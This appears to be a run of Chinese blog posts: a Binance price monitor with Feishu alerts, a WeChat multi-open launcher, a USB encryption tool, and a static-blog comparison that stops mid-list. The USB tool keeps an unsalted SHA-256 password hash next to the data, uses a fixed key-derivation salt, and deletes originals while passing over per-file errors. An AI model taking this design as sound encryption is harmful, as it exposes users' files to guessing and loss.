古人学问无遗力，少壮工夫老始成。 纸上得来终觉浅，绝知此事要躬行。
前言最近一个盆友提了一个需求，想要通过币安公开接口实时关注指定币种类价格，然后达到指定阈值后通过飞书发送消息。既然是盆友那忙肯定得帮。具体步骤币安接口分析https://developers.binance.com/docs/zh-CN/binance-spot-api-docs/web-socket-streams，这是api文档。有其他需求的朋友可以根据文档来对接指定api。因为高频要求，本次直接使用WebSocket调用，不使用rest api。关于python WebSocket库的使用可以参考这篇文章，https://blog.csdn.net/liaoqingjian/article/details/146908212核心功能分析高频数据采集：通过币安REST API获取所有现货交易对信息，这样避免手动更新币种通过WebSocket实时订阅交易对的ticker数据按批次订阅，每批100个交易对，避免单个连接订阅过多价格监控：记录每个交易对最近1分钟的价格历史计算1分钟内的价格涨跌幅当涨跌幅超过设定阈值(3%)时触发警报警报机制：通过飞书Webhook发送警报消息实现冷却期机制，避免同一交易对短时间内重复发送警报警报包含交易对、涨跌幅、价格变化、成交量等信息程序源码import json import asyncio import websockets import requests from datetime import datetime import time class BinanceSpotMonitor: def __init__(self, feishu_webhook_url): self.ws_url = "wss://stream.binance.com:9443/ws" self.rest_api_url = "https://api.binance.com/api" self.feishu_webhook_url = feishu_webhook_url self.market_data = {} self.batch_size = 100 # 每批订阅的交易对数量 self.price_history = {} # 存储价格历史 self.alert_threshold = 3.0 # 涨跌幅阈值，超过此值将触发推送 self.alert_cooldown = {} # 用于控制推送频率，避免同一币种短时间内多次推送 self.cooldown_period = 60 # 冷却时间(秒)，同一币种在此时间内只推送一次 async def get_spot_symbols(self): """获取所有现货交易对，仅保留USDT交易对""" try: response = requests.get(f"{self.rest_api_url}/v3/exchangeInfo") response.raise_for_status() symbols = [] for symbol in response.json()["symbols"]: # 只保留以USDT结尾的交易对 if (symbol["status"] == "TRADING" and symbol["isSpotTradingAllowed"] and symbol["quoteAsset"] == "USDT"): symbols.append({ "symbol": symbol["symbol"], "baseAsset": symbol["baseAsset"], "quoteAsset": symbol["quoteAsset"] }) return symbols except Exception as e: print(f"获取交易对列表失败: {e}") return [] async def connect_and_subscribe_batch(self, symbols_batch): """连接到币安WebSocket并订阅一批市场的ticker数据""" try: async with websockets.connect(self.ws_url) as websocket: # 创建订阅请求 subscribe_request = { "method": "SUBSCRIBE", "params": [f"{symbol['symbol'].lower()}@ticker" for symbol in symbols_batch], "id": 1 } # 发送订阅请求 await websocket.send(json.dumps(subscribe_request)) # 接收订阅确认 response = await websocket.recv() print(f"订阅确认批次 ({len(symbols_batch)}个交易对): {response}") # 持续接收数据 while True: try: message = await websocket.recv() await self.process_message(message, symbols_batch) except websockets.exceptions.ConnectionClosedError as e: print(f"连接关闭: {e}") # 尝试重新连接 await asyncio.sleep(5) break except Exception as e: print(f"处理消息时出错: {e}") except Exception as e: print(f"WebSocket连接错误: {e}") # 尝试重新连接 await asyncio.sleep(5) asyncio.create_task(self.connect_and_subscribe_batch(symbols_batch)) async def process_message(self, message, symbols_batch): """处理接收到的WebSocket消息""" data = json.loads(message) # 确保是ticker数据 if 's' in data: # 's' 是symbol的字段 symbol = data['s'] # 查找对应的baseAsset和quoteAsset symbol_info = next((s for s in symbols_batch if s["symbol"] == symbol), None) if not symbol_info: return base_asset = symbol_info["baseAsset"] quote_asset = symbol_info["quoteAsset"] # 确保只处理USDT交易对 if quote_asset != "USDT": return # 提取所需数据 price = float(data['c']) # 最新价格 volume_24h = float(data['q']) # 24小时成交量(报价资产) current_time = datetime.now() formatted_time = current_time.strftime('%Y-%m-%d %H:%M:%S') short_time = current_time.strftime('%H:%M:%S') # 处理价格历史 if symbol not in self.price_history: self.price_history[symbol] = { "prices": [(price, current_time)], "last_alert": None } else: # 添加当前价格到历史记录 self.price_history[symbol]["prices"].append((price, current_time)) # 清理超过1分钟的历史数据 self.price_history[symbol]["prices"] = [ (p, t) for p, t in self.price_history[symbol]["prices"] if (current_time - t).total_seconds() <= 60 ] # 如果有足够的历史数据，计算1分钟涨跌幅 if len(self.price_history[symbol]["prices"]) >= 2: oldest_price, oldest_time = self.price_history[symbol]["prices"][0] time_diff = (current_time - oldest_time).total_seconds() # 确保有足够的时间间隔(至少30秒)来计算有意义的涨跌幅 if time_diff >= 30: price_change_percent = ((price - oldest_price) / oldest_price) * 100 # 存储市场数据 self.market_data[symbol] = { 'symbol': symbol, 'base_asset': base_asset, 'quote_asset': quote_asset, 'price': price, 'old_price': oldest_price, 'price_change_percent_1min': price_change_percent, 'volume_24h': volume_24h, 'last_update': formatted_time } # 检查是否需要发送警报 await self.check_and_send_alert(symbol, price_change_percent, price, oldest_price, volume_24h, short_time) async def check_and_send_alert(self, symbol, price_change_percent, current_price, old_price, volume_24h, time_str): """检查是否需要发送警报并发送""" # 检查涨跌幅是否超过阈值 if abs(price_change_percent) >= self.alert_threshold: # 检查冷却期 current_time = time.time() if symbol in self.alert_cooldown and current_time - self.alert_cooldown[symbol] < self.cooldown_period: return # 在冷却期内，不发送警报 # 更新冷却时间 self.alert_cooldown[symbol] = current_time # 准备警报消息 direction = "上涨" if price_change_percent > 0 else "下跌" formatted_volume = f"{volume_24h:,.2f}" # 构建飞书消息 current_date = datetime.now().strftime('%Y-%m-%d %H:%M:%S') base_asset = self.market_data[symbol]['base_asset'] quote_asset = self.market_data[symbol]['quote_asset'] pair_name = f"{base_asset}/{quote_asset}" message = f"【test 现货推送】\n{current_date}\n币安:{base_asset}/1m内{direction}/\n{abs(price_change_percent):.2f}%\n价格:{old_price:.8f}/{current_price:.8f}\n成交:5m${formatted_volume}\n时间:{time_str}" # 发送到飞书 await self.send_to_feishu(message) print(f"已发送警报: {symbol} 1分钟{direction} {abs(price_change_percent):.2f}%") async def send_to_feishu(self, message): """发送消息到飞书机器人""" try: headers = {'Content-Type': 'application/json'} payload = { "msg_type": "text", "content": { "text": message } } response = requests.post(self.feishu_webhook_url, headers=headers, data=json.dumps(payload)) if response.status_code != 200: print(f"发送飞书消息失败: {response.status_code}, {response.text}") return response.status_code == 200 except Exception as e: print(f"发送飞书消息出错: {e}") return False async def start(self): """启动市场数据监控""" # 获取所有交易对 symbols = await self.get_spot_symbols() print(f"获取到 {len(symbols)} 个USDT交易对") # 将交易对分批处理 for i in range(0, len(symbols), self.batch_size): batch = symbols[i:i + self.batch_size] asyncio.create_task(self.connect_and_subscribe_batch(batch)) # 避免同时创建太多连接 await asyncio.sleep(1) async def main(): # 替换为你的飞书机器人webhook URL feishu_webhook_url = "" monitor = BinanceSpotMonitor(feishu_webhook_url) await monitor.start() # 保持程序运行 while True: await asyncio.sleep(3600) if __name__ == "__main__": asyncio.run(main())仅供学习参考，切勿用于非法用途
前言有几个微信需要多开登录，每次都要按回车点击微信多开。把握不住，老是会开很多个。用python实现多开，精准控制需要打开的数量，但是打开前先要关闭所有微信。运行图片：源码import tkinter as tk import subprocess import os import time from tkinter import messagebox, ttk class WeChatMultiOpener: def __init__(self, root): self.root = root self.root.title("微信多开器") self.root.geometry("300x200") self.root.resizable(False, False) # 设置界面 self.setup_ui() def setup_ui(self): # 主框架 main_frame = tk.Frame(self.root, padx=20, pady=20) main_frame.pack(fill=tk.BOTH, expand=True) # 标题标签 title_label = tk.Label(main_frame, text="微信多开工具", font=("Arial", 14, "bold")) title_label.pack(pady=10) # 数量选择框架 count_frame = tk.Frame(main_frame) count_frame.pack(pady=10, fill=tk.X) # 数量标签 count_label = tk.Label(count_frame, text="打开数量:") count_label.pack(side=tk.LEFT, padx=(0, 5)) # 数量输入框 self.count_var = tk.StringVar(value="2") count_spinbox = ttk.Spinbox( count_frame, from_=1, to=10, width=5, textvariable=self.count_var ) count_spinbox.pack(side=tk.LEFT) # 按钮框架 button_frame = tk.Frame(main_frame) button_frame.pack(pady=10) # 打开微信按钮 open_button = tk.Button(button_frame, text="打开微信", width=12, command=self.open_multiple_wechat, bg="#1aad19", fg="white") open_button.pack(side=tk.LEFT, padx=5) # 关闭所有微信按钮 close_button = tk.Button(button_frame, text="关闭所有微信", width=12, command=self.close_all_wechat) close_button.pack(side=tk.LEFT, padx=5) # 状态标签 self.status_var = tk.StringVar(value="就绪") status_label = tk.Label(main_frame, textvariable=self.status_var, fg="gray") status_label.pack(pady=(10, 0)) def open_multiple_wechat(self): try: # 获取用户输入的数量 count_text = self.count_var.get().strip() try: count = int(count_text) if count < 1 or count > 10: messagebox.showwarning("警告", "请输入1-10之间的数字") return except ValueError: messagebox.showwarning("警告", "请输入有效的数字") return wechat_path = r"C:\Program Files\Tencent\WeChat\WeChat.exe" # 检查路径是否存在 if not os.path.exists(wechat_path): print("未找到微信程序，请检查安装路径") return # 更新状态 self.status_var.set(f"正在打开 {count} 个微信实例...") self.root.update() # 打开指定数量的微信 for i in range(0,count): # 使用命令行参数启动第二个微信实例 self. open_multiple() # 稍微延迟，避免同时启动太多实例 self.status_var.set(f"已成功打开 {count} 个微信实例") except Exception as e: self.status_var.set("操作失败") messagebox.showerror("错误", f"启动微信失败: {str(e)}") def open_multiple(self): # 微信安装路径，请根据实际情况修改 wechat_path = r"C:\Program Files\Tencent\WeChat\WeChat.exe" # 检查路径是否存在 if not os.path.exists(wechat_path): print("未找到微信程序，请检查安装路径") return # 使用命令行参数启动第二个微信实例 subprocess.Popen([wechat_path, "/multi"]) def close_all_wechat(self): try: self.status_var.set("正在关闭所有微信...") self.root.update() subprocess.run("taskkill /f /im WeChat.exe", shell=True) self.status_var.set("已关闭所有微信实例") except Exception as e: self.status_var.set("操作失败") messagebox.showerror("错误", f"关闭微信失败: {str(e)}") if __name__ == "__main__": root = tk.Tk() app = WeChatMultiOpener(root) root.mainloop()写在最后希望能够帮到你们，有需要的朋友也可以私信后台，找我要打包好的程序直接运行。
Python还能这么用？U盘加密工具保护你的秘密
前言存u盘里内容（老师）不想让别人知道，那就写个u盘加密工具来守护它把！何为u盘加密？加密U盘是指对U盘内容有加解密保护功能的U盘。市面上的加密U盘主要有三类：A．假加密，仅仅是隐藏文件，设个密码，仅仅验证身份，实际存储内容没有任何变化。B．软加密，内置或附带软件，对数据进行加密，一般用AES，也可分加密区及非加密区。C．硬件加密，内置硬件加密，透明加密，无形之中，完成加密，读取时验证，有的具有一些特殊功能，例如将加密应用于硬盘，插上U盘显示明码，拔下显示就是加密信息。柿子要挑软的捏，那我们就从软加密入手吧。核心功能概述1、使用Fernet对称加密（基于AES-128-CBC），常用的对称加密方式。2、使用SHA-256哈希存储密码，PBKDF2派生加密密钥3、加密后将原文件删除，解密后恢复原始文件结构，这样可以隐藏源文件。4、基于Tkinter的简单GUI界面，简单，但是界面不是很美观，后期可以用ttkbootstrap美化下界面。运行截图加密前：加密后：解密：关键组件分析1. 密钥管理机制def hash_password(self, password): """对密码进行哈希""" return hashlib.sha256(password.encode()).hexdigest() def derive_key(self, password): """从密码派生加密密钥""" kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=self.salt, iterations=self.config["encryption_settings"]["key_iterations"], ) key = base64.urlsafe_b64encode(kdf.derive(password.encode())) return key使用PBKDF2密钥派生函数，通过多次迭代（默认100,000次）增强安全性使用固定盐值（self.salt = b'USBEncryptionSalt123'），简化密钥管理但降低了安全性密码验证使用SHA-256哈希，存储在配置文件中2. 文件加密流程def encrypt_usb(self, password): # ... # 创建Fernet加密器 key = self.derive_key(password) fernet = Fernet(key) # 打开加密数据文件 with open(self.data_file, 'wb') as data_file: # 写入文件数量 data_file.write(struct.pack("<I", total_files)) # 加密并写入每个文件 for i, file_path in enumerate(files_to_encrypt): # 读取文件内容 with open(file_path, 'rb') as f: file_data = f.read() # 获取相对路径 rel_path = os.path.relpath(file_path, self.usb_root) rel_path_bytes = rel_path.encode('utf-8') # 加密文件内容 encrypted_data = fernet.encrypt(file_data) # 写入路径长度、路径和加密数据 data_file.write(struct.pack("<I", len(rel_path_bytes))) data_file.write(rel_path_bytes) data_file.write(struct.pack("<Q", len(encrypted_data))) data_file.write(encrypted_data) # 删除原文件 os.remove(file_path) # ...所有文件内容被加密并集中存储在一个单一的加密数据文件（.usbenc_data.bin）中文件结构信息（相对路径）也被保存，以便解密时恢复原始目录结构使用二进制格式存储，包含文件数量、路径长度、路径、加密数据长度和加密数据3. 文件解密流程def decrypt_usb(self, password): # ... # 创建Fernet解密器 key = self.derive_key(password) fernet = Fernet(key) # 打开加密数据文件 with open(self.data_file, 'rb') as data_file: # 读取文件数量 total_files = struct.unpack("<I", data_file.read(4))[0] # 解密并写入每个文件 for i in range(total_files): # 读取路径长度和路径 path_len = struct.unpack("<I", data_file.read(4))[0] rel_path = data_file.read(path_len).decode('utf-8') # 读取加密数据长度和数据 data_len = struct.unpack("<Q", data_file.read(8))[0] encrypted_data = data_file.read(data_len) # 解密数据 decrypted_data = fernet.decrypt(encrypted_data) # 确保目标目录存在 file_path = os.path.join(self.usb_root, rel_path) os.makedirs(os.path.dirname(file_path), exist_ok=True) # 写入解密后的文件 with open(file_path, 'wb') as f: f.write(decrypted_data) # ...从加密数据文件中读取并解析文件结构信息和加密内容使用相同的密钥解密数据，并按照原始路径恢复文件解密完成后删除加密数据文件4. 配置管理def load_config(self): """加载或创建配置文件""" default_config = { "is_encrypted": False, "password_hash": "", "last_access": "", "encryption_settings": { "key_iterations": 100000, } } if os.path.exists(self.config_file): try: with open(self.config_file, 'r') as f: self.config = json.load(f) except: self.config = default_config else: self.config = default_config self.save_config()使用JSON格式存储配置信息跟踪加密状态、密码哈希、上次访问时间和加密设置配置文件存储在U盘根目录的隐藏文件中（.usbenc_config.json）5. 密码修改机制def change_password(self): # 先验证当前密码 current_pwd = simpledialog.askstring("验证当前密码", "请输入当前密码:", show="*", parent=self.root) # ... # 如果U盘已加密，需要先解密到临时目录 temp_dir = None if self.config["is_encrypted"]: temp_dir = self.decrypt_to_temp(current_pwd) # ... # 更新密码哈希 self.config["password_hash"] = self.hash_password(new_password) self.save_config() # 如果有临时解密的文件，需要用新密码重新加密 if temp_dir: success = self.encrypt_from_temp(new_password, temp_dir) # ...修改密码时，先验证当前密码如果U盘已加密，需要先解密到临时目录，再用新密码重新加密更新配置文件中的密码哈希6. 线程处理def encrypt_usb(self, password): # ... # 在后台线程中执行加密操作 def encrypt_thread(): # 加密操作... # 启动加密线程 threading.Thread(target=encrypt_thread).start()使用后台线程处理耗时的加密/解密操作，避免UI冻结通过进度条向用户展示操作进度线程完成后通过after方法安全地更新UI7. 文件过滤机制# 跳过隐藏文件和目录 dirs[:] = [d for d in dirs if not d.startswith('.')] for file in files: if file.startswith('.'): continue # 跳过程序自身和配置文件 file_path = os.path.join(root, file) if file_path == os.path.abspath(sys.argv[0]) or \ file_path == self.config_file or \ file_path == self.data_file: continue排除隐藏文件和目录（以.开头）排除程序自身、配置文件和加密数据文件，确保程序正常运行发布成exe运行文件pyinstaller -F -w --icon=tt.ico .\u盘加密工具.py源码import sys import time import json import struct import hashlib import tkinter as tk from tkinter import messagebox, simpledialog from cryptography.fernet import Fernet import threading import base64 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC import os import shutil class USBSelfEncryptApp: def __init__(self): # 初始化主窗口 self.root = tk.Tk() self.root.title("U盘自加密工具") self.root.geometry("400x300") self.root.resizable(False, False) # 确定U盘根目录 self.usb_root = os.path.dirname(os.path.abspath(sys.argv[0])) # 配置文件路径 self.config_file = os.path.join(self.usb_root, ".usbenc_config.json") self.data_file = os.path.join(self.usb_root, ".usbenc_data.bin") # 初始化盐值 self.salt = b'USBEncryptionSalt123' # 固定盐值，简化密钥管理 # 加载或创建配置 self.load_config() # 创建UI self.create_ui() # 设置关闭窗口事件 self.root.protocol("WM_DELETE_WINDOW", self.exit_app) def load_config(self): """加载或创建配置文件""" default_config = { "is_encrypted": False, "password_hash": "", "last_access": "", "encryption_settings": { "key_iterations": 100000, } } if os.path.exists(self.config_file): try: with open(self.config_file, 'r') as f: self.config = json.load(f) except: self.config = default_config else: self.config = default_config self.save_config() def save_config(self): """保存配置文件""" with open(self.config_file, 'w') as f: json.dump(self.config, f, indent=2) def create_ui(self): """创建用户界面""" # 标题 title_label = tk.Label(self.root, text="U盘自加密工具", font=("Arial", 16, "bold")) title_label.pack(pady=20) # 状态显示 status_text = "状态: U盘已加密" if self.config["is_encrypted"] else "状态: U盘未加密" self.status_label = tk.Label(self.root, text=status_text, font=("Arial", 12)) self.status_label.pack(pady=10) # 上次访问时间 if self.config["last_access"]: last_access_label = tk.Label(self.root, text=f"上次访问: {self.config['last_access']}") last_access_label.pack(pady=5) # 主操作按钮 button_text = "解锁U盘" if self.config["is_encrypted"] else "加密U盘" self.main_button = tk.Button(self.root, text=button_text, width=15, height=2, command=self.main_action) self.main_button.pack(pady=20) # 修改密码按钮 if self.config["password_hash"]: # 只有设置过密码才显示修改密码按钮 change_pwd_button = tk.Button(self.root, text="修改密码", width=15, command=self.change_password) change_pwd_button.pack(pady=10) # 底部信息 info_label = tk.Label(self.root, text="安全提示: 请记住您的密码，密码丢失将无法恢复数据", font=("Arial", 8)) info_label.pack(side=tk.BOTTOM, pady=10) def main_action(self): """主按钮动作""" if self.config["is_encrypted"]: # 解锁U盘 password = simpledialog.askstring("需要密码", "请输入解锁密码:", show="*", parent=self.root) if password: # 验证密码 if self.verify_password(password): self.decrypt_usb(password) else: messagebox.showerror("错误", "密码不正确") else: # 加密U盘 if self.config["password_hash"]: # 如果已经设置过密码 password = simpledialog.askstring("需要密码", "请输入加密密码:", show="*", parent=self.root) if password: # 验证密码 if self.verify_password(password): self.encrypt_usb(password) else: messagebox.showerror("错误", "密码不正确") else: # 首次设置密码 self.set_new_password() def set_new_password(self): """设置新密码""" # 创建密码设置对话框 pwd_dialog = tk.Toplevel(self.root) pwd_dialog.title("设置加密密码") pwd_dialog.geometry("300x150") pwd_dialog.transient(self.root) pwd_dialog.grab_set() # 密码输入框 tk.Label(pwd_dialog, text="请设置加密密码:").pack(pady=(10, 5)) pwd_entry = tk.Entry(pwd_dialog, show="*", width=25) pwd_entry.pack() # 确认密码输入框 tk.Label(pwd_dialog, text="请再次输入密码:").pack(pady=(10, 5)) confirm_entry = tk.Entry(pwd_dialog, show="*", width=25) confirm_entry.pack() # 确认按钮 def confirm_password(): password = pwd_entry.get() confirm = confirm_entry.get() if not password: messagebox.showerror("错误", "密码不能为空", parent=pwd_dialog) return if password != confirm: messagebox.showerror("错误", "两次输入的密码不一致", parent=pwd_dialog) return # 保存密码哈希 self.config["password_hash"] = self.hash_password(password) self.save_config() pwd_dialog.destroy() # 执行加密 self.encrypt_usb(password) confirm_button = tk.Button(pwd_dialog, text="确认", command=confirm_password) confirm_button.pack(pady=15) def change_password(self): """修改密码""" # 先验证当前密码 current_pwd = simpledialog.askstring("验证当前密码", "请输入当前密码:", show="*", parent=self.root) if not current_pwd: return if not self.verify_password(current_pwd): messagebox.showerror("错误", "当前密码不正确") return # 如果U盘已加密，需要先解密到临时目录 temp_dir = None if self.config["is_encrypted"]: temp_dir = self.decrypt_to_temp(current_pwd) if not temp_dir: return # 创建新密码设置对话框 pwd_dialog = tk.Toplevel(self.root) pwd_dialog.title("设置新密码") pwd_dialog.geometry("350x200") pwd_dialog.transient(self.root) pwd_dialog.grab_set() # 密码输入框 tk.Label(pwd_dialog, text="请设置新密码:").pack(pady=(10, 5)) pwd_entry = tk.Entry(pwd_dialog, show="*", width=25) pwd_entry.pack() # 确认密码输入框 tk.Label(pwd_dialog, text="请再次输入新密码:").pack(pady=(10, 5)) confirm_entry = tk.Entry(pwd_dialog, show="*", width=25) confirm_entry.pack() # 确认按钮 def confirm_new_password(): new_password = pwd_entry.get() confirm = confirm_entry.get() if not new_password: messagebox.showerror("错误", "密码不能为空", parent=pwd_dialog) return if new_password != confirm: messagebox.showerror("错误", "两次输入的密码不一致", parent=pwd_dialog) return pwd_dialog.destroy() # 更新密码哈希 self.config["password_hash"] = self.hash_password(new_password) self.save_config() # 如果有临时解密的文件，需要用新密码重新加密 if temp_dir: success = self.encrypt_from_temp(new_password, temp_dir) if success: # 清理临时目录 try: shutil.rmtree(temp_dir) except: pass messagebox.showinfo("成功", "密码已成功修改并重新加密") else: messagebox.showinfo("成功", "密码已成功修改") confirm_button = tk.Button(pwd_dialog, text="确认", command=confirm_new_password) confirm_button.pack(pady=15) def hash_password(self, password): """对密码进行哈希""" return hashlib.sha256(password.encode()).hexdigest() def verify_password(self, password): """验证密码是否正确""" return self.hash_password(password) == self.config["password_hash"] def derive_key(self, password): """从密码派生加密密钥""" kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=self.salt, iterations=self.config["encryption_settings"]["key_iterations"], ) key = base64.urlsafe_b64encode(kdf.derive(password.encode())) return key def encrypt_usb(self, password): """加密U盘内容""" # 创建进度窗口 progress_window = tk.Toplevel(self.root) progress_window.title("加密进度") progress_window.geometry("300x100") progress_window.transient(self.root) progress_window.grab_set() # 进度条 progress_label = tk.Label(progress_window, text="正在加密U盘内容...") progress_label.pack(pady=10) progress_bar = tk.Canvas(progress_window, width=250, height=20, bg="white") progress_bar.pack(pady=10) # 在后台线程中执行加密操作 def encrypt_thread(): try: # 获取要加密的文件列表 files_to_encrypt = [] for root, dirs, files in os.walk(self.usb_root): # 跳过隐藏文件和目录 dirs[:] = [d for d in dirs if not d.startswith('.')] for file in files: if file.startswith('.'): continue # 跳过程序自身和配置文件 file_path = os.path.join(root, file) if file_path == os.path.abspath(sys.argv[0]) or \ file_path == self.config_file or \ file_path == self.data_file: continue files_to_encrypt.append(file_path) total_files = len(files_to_encrypt) if total_files == 0: progress_window.after(0, progress_window.destroy) messagebox.showinfo("完成", "没有需要加密的文件") return # 创建Fernet加密器 key = self.derive_key(password) fernet = Fernet(key) # 打开加密数据文件 with open(self.data_file, 'wb') as data_file: # 写入文件数量 data_file.write(struct.pack("<I", total_files)) # 加密并写入每个文件 for i, file_path in enumerate(files_to_encrypt): try: # 读取文件内容 with open(file_path, 'rb') as f: file_data = f.read() # 获取相对路径 rel_path = os.path.relpath(file_path, self.usb_root) rel_path_bytes = rel_path.encode('utf-8') # 加密文件内容 encrypted_data = fernet.encrypt(file_data) # 写入路径长度、路径和加密数据 data_file.write(struct.pack("<I", len(rel_path_bytes))) data_file.write(rel_path_bytes) data_file.write(struct.pack("<Q", len(encrypted_data))) data_file.write(encrypted_data) # 删除原文件 os.remove(file_path) # 更新进度条 progress = (i + 1) / total_files progress_bar.delete("all") progress_bar.create_rectangle(0, 0, 250 * progress, 20, fill="green", outline="") progress_label.config(text=f"正在加密: {i + 1}/{total_files}") except Exception as e: print(f"加密文件 {file_path} 时出错: {str(e)}") # 更新配置 self.config["is_encrypted"] = True self.config["last_access"] = time.strftime("%Y-%m-%d %H:%M:%S") self.save_config() # 更新UI self.status_label.config(text="状态: U盘已加密") self.main_button.config(text="解锁U盘") # 关闭进度窗口并显示成功消息 progress_window.after(500, progress_window.destroy) messagebox.showinfo("完成", f"已成功加密 {total_files} 个文件") except Exception as e: progress_window.after(0, progress_window.destroy) messagebox.showerror("错误", f"加密过程中出错: {str(e)}") # 启动加密线程 threading.Thread(target=encrypt_thread).start() def decrypt_usb(self, password): """解密U盘内容""" # 创建进度窗口 progress_window = tk.Toplevel(self.root) progress_window.title("解密进度") progress_window.geometry("300x100") progress_window.transient(self.root) progress_window.grab_set() # 进度条 progress_label = tk.Label(progress_window, text="正在解密U盘内容...") progress_label.pack(pady=10) progress_bar = tk.Canvas(progress_window, width=250, height=20, bg="white") progress_bar.pack(pady=10) # 在后台线程中执行解密操作 def decrypt_thread(): try: # 检查加密数据文件是否存在 if not os.path.exists(self.data_file): progress_window.after(0, progress_window.destroy) messagebox.showerror("错误", "找不到加密数据文件") return # 创建Fernet解密器 key = self.derive_key(password) fernet = Fernet(key) # 打开加密数据文件 with open(self.data_file, 'rb') as data_file: # 读取文件数量 total_files = struct.unpack("<I", data_file.read(4))[0] # 解密并写入每个文件 for i in range(total_files): try: # 读取路径长度和路径 path_len = struct.unpack("<I", data_file.read(4))[0] rel_path = data_file.read(path_len).decode('utf-8') # 读取加密数据长度和数据 data_len = struct.unpack("<Q", data_file.read(8))[0] encrypted_data = data_file.read(data_len) # 解密数据 decrypted_data = fernet.decrypt(encrypted_data) # 确保目标目录存在 file_path = os.path.join(self.usb_root, rel_path) os.makedirs(os.path.dirname(file_path), exist_ok=True) # 写入解密后的文件 with open(file_path, 'wb') as f: f.write(decrypted_data) # 更新进度条 progress = (i + 1) / total_files progress_bar.delete("all") progress_bar.create_rectangle(0, 0, 250 * progress, 20, fill="green", outline="") progress_label.config(text=f"正在解密: {i + 1}/{total_files}") except Exception as e: print(f"解密文件 {rel_path} 时出错: {str(e)}") # 删除加密数据文件 os.remove(self.data_file) # 更新配置 self.config["is_encrypted"] = False self.config["last_access"] = time.strftime("%Y-%m-%d %H:%M:%S") self.save_config() # 更新UI self.status_label.config(text="状态: U盘未加密") self.main_button.config(text="加密U盘") # 关闭进度窗口并显示成功消息 progress_window.after(500, progress_window.destroy) messagebox.showinfo("完成", f"已成功解密 {total_files} 个文件") except Exception as e: progress_window.after(0, progress_window.destroy) messagebox.showerror("错误", f"解密过程中出错: {str(e)}") # 启动解密线程 threading.Thread(target=decrypt_thread).start() def decrypt_to_temp(self, password): """解密到临时目录（用于修改密码）""" try: # 创建临时目录 temp_dir = os.path.join(self.usb_root, ".temp_decrypt_" + str(int(time.time()))) os.makedirs(temp_dir, exist_ok=True) # 检查加密数据文件是否存在 if not os.path.exists(self.data_file): messagebox.showerror("错误", "找不到加密数据文件") return None # 创建Fernet解密器 key = self.derive_key(password) fernet = Fernet(key) # 打开加密数据文件 with open(self.data_file, 'rb') as data_file: # 读取文件数量 total_files = struct.unpack("<I", data_file.read(4))[0] # 解密并写入每个文件到临时目录 for i in range(total_files): try: # 读取路径长度和路径 path_len = struct.unpack("<I", data_file.read(4))[0] rel_path = data_file.read(path_len).decode('utf-8') # 读取加密数据长度和数据 data_len = struct.unpack("<Q", data_file.read(8))[0] encrypted_data = data_file.read(data_len) # 解密数据 decrypted_data = fernet.decrypt(encrypted_data) # 确保目标目录存在 temp_file_path = os.path.join(temp_dir, rel_path) os.makedirs(os.path.dirname(temp_file_path), exist_ok=True) # 写入解密后的文件 with open(temp_file_path, 'wb') as f: f.write(decrypted_data) except Exception as e: print(f"解密文件 {rel_path} 到临时目录时出错: {str(e)}") return temp_dir except Exception as e: messagebox.showerror("错误", f"解密到临时目录时出错: {str(e)}") return None def encrypt_from_temp(self, password, temp_dir): """从临时目录重新加密（用于修改密码）""" try: # 创建Fernet加密器 key = self.derive_key(password) fernet = Fernet(key) # 获取要加密的文件列表 files_to_encrypt = [] for root, dirs, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) files_to_encrypt.append(file_path) total_files = len(files_to_encrypt) if total_files == 0: return True # 打开加密数据文件 with open(self.data_file, 'wb') as data_file: # 写入文件数量 data_file.write(struct.pack("<I", total_files)) # 加密并写入每个文件 for file_path in files_to_encrypt: try: # 读取文件内容 with open(file_path, 'rb') as f: file_data = f.read() # 获取相对路径 rel_path = os.path.relpath(file_path, temp_dir) rel_path_bytes = rel_path.encode('utf-8') # 加密文件内容 encrypted_data = fernet.encrypt(file_data) # 写入路径长度、路径和加密数据 data_file.write(struct.pack("<I", len(rel_path_bytes))) data_file.write(rel_path_bytes) data_file.write(struct.pack("<Q", len(encrypted_data))) data_file.write(encrypted_data) except Exception as e: print(f"从临时目录加密文件 {file_path} 时出错: {str(e)}") return True except Exception as e: messagebox.showerror("错误", f"从临时目录重新加密时出错: {str(e)}") return False def exit_app(self): """退出应用程序""" if messagebox.askyesno("确认退出", "确定要退出吗？"): self.root.destroy() def run(self): """运行应用程序""" self.root.mainloop() def main(): app = USBSelfEncryptApp() app.run() if __name__ == "__main__": main() 关注@运维躬行录，在聊天框输入【u盘加密】，可免费领取打包文件及《python自动化办公教程》祝你效率翻倍
前言之前个人博客一种使用的是wordpress，这可是美国白宫官网都在用的cms系统，有图为证。哈哈哈哈，但是由于是海外的博客，会调用比较多的海外资源，还有就是各种插件功能太多。前端看文章响应还好，但是后台编辑文章还是有点卡顿。又不想自己从头开始搭建，就想找个合适的替代。以下是我做的几个博客方案选型，供大家参考！静态博客框架Hexo 简介Hexo 是一个快速、简洁且高效的静态博客框架，由台湾开发者 Tommy Chen 于2012年创建。它基于 Node.js 运行，使用 Markdown 语法编写文章，通过简单的命令即可生成静态网页。官方网站：https://hexo.io官方文档：https://hexo.io/docs/GitHub 仓库：https://github.com/hexojs/hexo工作原理Hexo 将 Markdown 文件转换成静态网页。用户编写 Markdown 格式的博客文章，运行生成命令后，Hexo 会根据主题模板将内容渲染为 HTML 文件。这些静态文件可以部署到任何支持静态网页的服务器上。主要特点速度快：生成静态文件迅速，部署简单支持 Markdown：可使用 Markdown 语法编写文章丰富的插件系统：有超过100个插件可扩展功能多样化主题：社区提供了大量可选主题一键部署：支持一键部署到 GitHub Pages、Heroku 等平台优点简单易用：安装和配置过程直观，学习曲线平缓生成速度快：相比其他静态博客生成器，处理速度更快主题丰富：大量现成主题可供选择，且容易自定义插件系统完善：功能可通过插件扩展，满足不同需求免费部署选项多：可轻松部署到 GitHub Pages、Netlify 等免费平台社区活跃：问题容易找到解决方案国际化支持好：多语言支持完善缺点需要本地环境：必须在本地安装 Node.js 环境才能使用动态功能受限：作为静态博客，无法直接实现复杂的动态功能版本更新可能引起兼容问题：主题和插件可能与新版本不兼容学习 Node.js：对不熟悉 JavaScript 的用户可能有一定门槛文章数量增多后生成速度变慢：大型站点生成时间会明显增加主题自定义需要前端知识：深度定制需要 HTML、CSS 和 JavaScript 知识Hexo 作为静态博客框架的代表之一，以其高效和灵活性在技术社区获得了广泛应用，特别适合那些注重内容创作和网站性能的博客作者。Jekyll 